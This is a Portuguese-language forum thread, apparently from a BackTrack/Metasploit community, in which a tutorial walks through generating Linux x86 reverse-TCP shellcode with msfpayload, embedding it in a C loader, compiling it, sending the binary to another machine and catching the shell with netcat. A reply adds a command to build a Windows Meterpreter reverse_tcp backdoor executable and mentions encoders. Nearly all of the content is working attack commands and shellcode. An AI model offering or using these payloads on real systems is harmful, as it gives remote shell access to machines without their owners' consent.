msfpayload linux shell reverso

[spawn]

bt ~ # /pentest/exploits/framework3/msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.123.1 LPORT=5050 C

a saida sera algo assim:

/*
* linux/x86/shell_reverse_tcp - 71 bytes
* Penetration Testing | The Metasploit Project
* AutoRunScript=, LHOST=172.16.123.1, AppendExit=false,
* PrependChrootBreak=false, PrependSetresuid=false,
* InitialAutoRunScript=, PrependSetuid=false, LPORT=5050,
* ReverseConnectRetries=5, PrependSetreuid=false
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\ x66\xcd\x80"
"\x5b\x5e\x68\xac\x10\x7b\x01\x66\x68\x13\xba\x66\ x53\x6a\x10"
"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\ xd9\xb0\x3f"
"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\ x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ;

copiaremos apenas de "unsigned" ate ";"

agora abra um arquivo com seu editor preferido e deixe o arquivo assim:

Ex:
bt ~# vi reverso.c

unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\ x66\xcd\x80"
"\x5b\x5e\x68\xac\x10\x7b\x01\x66\x68\x13\xba\x66\ x53\x6a\x10"
"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\ xd9\xb0\x3f"
"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\ x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ;

int main(int argc, char **argv)
{
int (*funct)();
funct = (int (*)()) buf;
(int)(*funct)();
}

salve o arquivo e compile

bt ~ # gcc -o conecta reverso.c

envie o arquivo conecta para uma outra maquina linux

e ainda no bt

bt ~ # nc -l -p 5050

na outra maquina linux execute o arquivo conecta

voila ... onde vc executou o comando nc, experimente digitar o comando ls

temos o shell da maquina "bt2"

[] 's

[Bhior]

Parabéns mano, grande tuto

se alguém querer fazer um para windows (backdoor)...

root@bt:~# ./msfpayload windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xx LPORT=4455 X > bhior.exe

Mais alguns encoder...
hxxp://www.metasploit.com/modules/encoder

Ou no console do metasploit "show encoders"

Cumpx []'

[santiagocyl]

Bom tutorial. Só faltou um pouco mais de formatação. Traduzi um tópico do fórum americano que pode ajudar.